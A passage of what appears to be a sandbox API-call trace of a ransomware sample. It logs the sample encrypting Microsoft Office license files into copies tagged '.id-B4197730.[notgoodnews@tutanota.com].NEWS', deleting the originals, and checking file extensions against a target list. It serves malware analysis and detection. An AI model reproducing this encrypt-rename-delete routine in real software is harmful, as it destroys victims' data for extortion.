lpNewFilePointer=0x0) returned 1 [0184.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0184.669] GetLastError () returned 0x0 [0184.669] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d65, lpOverlapped=0x0) returned 1 [0184.690] WriteFile (in: hFile=0x568, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.692] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.692] WriteFile (in: hFile=0x568, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.692] SetEndOfFile (hFile=0x568) returned 1 [0184.692] CloseHandle (hObject=0x568) returned 1 [0184.692] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.692] SetEndOfFile (hFile=0x558) returned 1 [0184.696] CloseHandle (hObject=0x558) returned 1 [0184.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1 [0184.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.698] lstrlenW (lpString=".doc") returned 4 [0184.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.698] lstrlenW (lpString=".docx") returned 5 [0184.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.698] lstrlenW (lpString=".pdf") returned 4 [0184.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.698] lstrlenW (lpString=".xls") returned 4 [0184.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.698] lstrlenW (lpString=".xlsx") returned 5 [0184.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.698] lstrlenW (lpString=".ppt") returned 4 [0184.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.698] lstrlenW (lpString=".zip") returned 4 [0184.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.698] lstrlenW (lpString=".rar") returned 4 [0184.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.698] lstrlenW (lpString=".bz2") returned 4 [0184.699] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString=".7z") returned 3 [0184.699] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.699] lstrlenW (lpString=".dbf") returned 4 [0184.699] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.699] lstrlenW (lpString=".1cd") returned 4 [0184.699] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.699] lstrlenW (lpString=".jpg") returned 4 [0184.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.699] lstrlenW (lpString=".doc") returned 4 [0184.699] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString=".docx") returned 5 [0184.699] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.699] lstrlenW (lpString=".pdf") returned 4 [0184.699] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString=".xls") returned 4 [0184.699] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString=".xlsx") returned 5 [0184.699] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.699] lstrlenW (lpString=".ppt") returned 4 [0184.699] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.699] lstrlenW (lpString=".zip") returned 4 [0184.700] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.700] lstrlenW (lpString=".rar") returned 4 [0184.700] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.700] lstrlenW (lpString=".bz2") returned 4 [0184.700] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.700] lstrlenW (lpString=".7z") returned 3 [0184.700] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.700] lstrlenW (lpString=".dbf") returned 4 [0184.700] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.700] lstrlenW (lpString=".1cd") returned 4 [0184.700] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87 [0184.700] lstrlenW (lpString=".jpg") returned 4 [0184.700] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.700] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.700] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37 [0184.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.701] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19966) returned 1 [0184.702] CloseHandle (hObject=0x558) returned 1 [0184.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220 [0184.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.702] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.703] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0184.704] GetLastError () returned 0x0 [0184.704] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0184.711] WriteFile (in: hFile=0x568, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0184.713] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.713] WriteFile (in: hFile=0x568, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.713] SetEndOfFile (hFile=0x568) returned 1 [0184.713] CloseHandle (hObject=0x568) returned 1 [0184.714] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.714] SetEndOfFile (hFile=0x558) returned 1 [0184.948] CloseHandle (hObject=0x558) returned 1 [0184.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0184.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.950] lstrlenW (lpString=".doc") returned 4 [0184.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.950] lstrlenW (lpString=".docx") returned 5 [0184.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.950] lstrlenW (lpString=".pdf") returned 4 [0184.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.950] lstrlenW (lpString=".xls") returned 4 [0184.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.950] lstrlenW (lpString=".xlsx") returned 5 [0184.950] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.950] lstrlenW (lpString=".ppt") returned 4 [0184.950] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.951] lstrlenW (lpString=".zip") returned 4 [0184.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString=".rar") returned 4 [0184.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString=".bz2") returned 4 [0184.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString=".7z") returned 3 [0184.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.951] lstrlenW (lpString=".dbf") returned 4 [0184.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.951] lstrlenW (lpString=".1cd") returned 4 [0184.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.951] lstrlenW (lpString=".jpg") returned 4 [0184.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.951] lstrlenW (lpString=".doc") returned 4 [0184.951] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString=".docx") returned 5 [0184.951] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.951] lstrlenW (lpString=".pdf") returned 4 [0184.951] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.951] lstrlenW (lpString=".xls") returned 4 [0184.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.952] lstrlenW (lpString=".xlsx") returned 5 [0184.952] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.952] lstrlenW (lpString=".ppt") returned 4 [0184.952] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.952] lstrlenW (lpString=".zip") returned 4 [0184.952] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.952] lstrlenW (lpString=".rar") returned 4 [0184.952] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.952] lstrlenW (lpString=".bz2") returned 4 [0184.952] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.952] lstrlenW (lpString=".7z") returned 3 [0184.952] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.952] lstrlenW (lpString=".dbf") returned 4 [0184.952] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.952] lstrlenW (lpString=".1cd") returned 4 [0184.952] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0184.952] lstrlenW (lpString=".jpg") returned 4 [0184.952] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.952] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.952] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 34 [0184.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.954] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=22094) returned 1 [0184.954] CloseHandle (hObject=0x558) returned 1 [0184.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 0x220 [0184.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.954] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.955] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0184.956] GetLastError () returned 0x0 [0184.956] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x564e, lpOverlapped=0x0) returned 1 [0184.975] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x5650, lpOverlapped=0x0) returned 1 [0184.976] ReadFile (in: hFile=0x558, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0184.976] WriteFile (in: hFile=0x478, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x118, lpOverlapped=0x0) returned 1 [0184.976] SetEndOfFile (hFile=0x478) returned 1 [0184.977] CloseHandle (hObject=0x478) returned 1 [0184.977] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0184.977] SetEndOfFile (hFile=0x558) returned 1 [0184.981] CloseHandle (hObject=0x558) returned 1 [0184.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0184.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.982] lstrlenW (lpString=".doc") returned 4 [0184.983] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString=".docx") returned 5 [0184.983] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.983] lstrlenW (lpString=".pdf") returned 4 [0184.983] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString=".xls") returned 4 [0184.983] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString=".xlsx") returned 5 [0184.983] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.983] lstrlenW (lpString=".ppt") returned 4 [0184.983] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.983] lstrlenW (lpString=".zip") returned 4 [0184.983] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString=".rar") returned 4 [0184.983] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString=".bz2") returned 4 [0184.983] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString=".7z") returned 3 [0184.983] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.983] lstrlenW (lpString=".dbf") returned 4 [0184.983] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.983] lstrlenW (lpString=".1cd") returned 4 [0184.983] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.983] lstrlenW (lpString=".jpg") returned 4 [0184.983] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.984] lstrlenW (lpString=".doc") returned 4 [0184.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString=".docx") returned 5 [0184.984] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.984] lstrlenW (lpString=".pdf") returned 4 [0184.984] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString=".xls") returned 4 [0184.984] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString=".xlsx") returned 5 [0184.984] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.984] lstrlenW (lpString=".ppt") returned 4 [0184.984] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.984] lstrlenW (lpString=".zip") returned 4 [0184.984] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString=".rar") returned 4 [0184.984] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString=".bz2") returned 4 [0184.984] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString=".7z") returned 3 [0184.984] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.984] lstrlenW (lpString=".dbf") returned 4 [0184.984] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.985] lstrlenW (lpString=".1cd") returned 4 [0184.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0184.985] lstrlenW (lpString=".jpg") returned 4 [0184.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.985] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.985] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 37 [0184.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0184.986] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=19966) returned 1 [0184.986] CloseHandle (hObject=0x558) returned 1 [0184.986] GetFileAttributesW (lpFileName="C:\\Program 